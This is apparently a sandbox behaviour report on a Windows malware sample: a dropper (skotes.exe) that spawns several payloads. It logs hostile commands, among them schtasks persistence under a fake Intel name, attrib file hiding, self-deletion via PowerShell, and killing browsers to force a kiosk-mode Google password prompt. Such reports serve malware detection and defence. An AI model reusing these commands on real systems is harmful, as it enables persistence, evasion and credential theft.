Code function: 7_2_00436F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

7_2_00436F90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1664:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1747150d4f.exe, 00000007.00000003.2771320927.0000000003C18000.00000004.00000800.00020000.00000000.sdmp, 8b334ae3d2.exe, 00000028.00000003.2830834713.0000000003B55000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 58%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe "C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe "C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe "C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe"
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe "C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe "C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe"
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe "C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe "C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe "C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe "C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe "C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Process created: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe "C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Section loaded: webio.dll	Jump to behavior
